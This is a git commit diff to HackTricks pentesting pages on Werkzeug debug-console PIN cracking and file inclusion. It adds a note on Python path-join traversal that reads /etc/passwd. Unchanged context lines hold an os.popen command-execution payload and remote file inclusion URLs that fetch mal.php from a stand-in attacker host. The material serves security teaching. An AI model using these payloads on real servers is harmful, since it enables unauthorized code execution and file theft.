GITBOOK-3842: change request with no subject merged in GitBook
This commit is contained in:
parent
54b48259f0
commit
b68d444c7e
@ -24,12 +24,9 @@ __import__('os').popen('whoami').read();
|
||||
|
||||
There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
|
||||
|
||||
## Pin Protected
|
||||
## Pin Protected - Path Traversal
|
||||
|
||||
In some occasions the /console endpoint is going to be protected by a pin. Here you can find how to generate this pin:
|
||||
|
||||
* [https://www.daehee.com/werkzeug-console-pin-exploit/](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||||
* [https://ctftime.org/writeup/17955](https://ctftime.org/writeup/17955)
|
||||
In some occasions the **`/console`** endpoint is going to be protected by a pin. If you have a **file traversal vulnerability**, you can leak all the necessary info to generate that pin.
|
||||
|
||||
### Werkzeug Console PIN Exploit
|
||||
|
||||
@ -44,87 +41,7 @@ shell that runs the server
|
||||
|
||||
Locate vulnerable Werkzeug debug console at path `vulnerable-site.com/console`, but is locked by secret PIN number.
|
||||
|
||||
You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. View [Werkzeug source code repo](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), but better to leak source code through file traversal vulnerability since versions likely differ.
|
||||
|
||||
In this file, see relevant method outlining steps to generate console PIN:
|
||||
|
||||
```python
|
||||
def get_pin_and_cookie_name(app):
|
||||
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
|
||||
rv = None
|
||||
num = None
|
||||
|
||||
# Pin was explicitly disabled
|
||||
if pin == 'off':
|
||||
return None, None
|
||||
|
||||
# Pin was provided explicitly
|
||||
if pin is not None and pin.replace('-', '').isdigit():
|
||||
# If there are separators in the pin, return it directly
|
||||
if '-' in pin:
|
||||
rv = pin
|
||||
else:
|
||||
num = pin
|
||||
|
||||
modname = getattr(app, '__module__',
|
||||
getattr(app.__class__, '__module__'))
|
||||
|
||||
try:
|
||||
# `getpass.getuser()` imports the `pwd` module,
|
||||
# which does not exist in the Google App Engine sandbox.
|
||||
username = getpass.getuser()
|
||||
except ImportError:
|
||||
username = None
|
||||
|
||||
mod = sys.modules.get(modname)
|
||||
|
||||
# This information only exists to make the cookie unique on the
|
||||
# computer, not as a security feature.
|
||||
probably_public_bits = [
|
||||
username,
|
||||
modname,
|
||||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||||
getattr(mod, '__file__', None),
|
||||
]
|
||||
|
||||
# This information is here to make it harder for an attacker to
|
||||
# guess the cookie name. They are unlikely to be contained anywhere
|
||||
# within the unauthenticated debug page.
|
||||
private_bits = [
|
||||
str(uuid.getnode()),
|
||||
get_machine_id(),
|
||||
]
|
||||
|
||||
h = hashlib.md5()
|
||||
for bit in chain(probably_public_bits, private_bits):
|
||||
if not bit:
|
||||
continue
|
||||
if isinstance(bit, text_type):
|
||||
bit = bit.encode('utf-8')
|
||||
h.update(bit)
|
||||
h.update(b'cookiesalt')
|
||||
|
||||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||||
|
||||
# If we need to generate a pin we salt it a bit more so that we don't
|
||||
# end up with the same value and generate out 9 digits
|
||||
if num is None:
|
||||
h.update(b'pinsalt')
|
||||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||||
|
||||
# Format the pincode in groups of digits for easier remembering if
|
||||
# we don't have a result yet.
|
||||
if rv is None:
|
||||
for group_size in 5, 4, 3:
|
||||
if len(num) % group_size == 0:
|
||||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||||
for x in range(0, len(num), group_size))
|
||||
break
|
||||
else:
|
||||
rv = num
|
||||
|
||||
return rv, cookie_name
|
||||
```
|
||||
You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. You can view [**Werkzeug source code repo**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py) **to check how the PIN is generated**, but better to leak source code through **file traversal vulnerability** since versions likely differ.
|
||||
|
||||
Variables needed to exploit the console PIN:
|
||||
|
||||
@ -262,6 +179,11 @@ print(rv)
|
||||
If you are on an **old version** of Werkzeug, try changing the **hashing algorithm to md5** instead of md5.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
||||
* ****[**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)****
|
||||
* ****[**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)****
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>HackTricks in</strong> <a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
@ -186,6 +186,26 @@ http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
|
||||
### Python Root element
|
||||
|
||||
In python in a code like this one:
|
||||
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
|
||||
If the user passes an **absolute path** to **`file_name`**, the **previous path is just removed**:
|
||||
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
|
||||
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||||
|
||||
> If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
|
||||
|
||||
## Top 25 parameters
|
||||
|
||||
Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
@ -624,7 +644,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
|
||||
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
||||
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user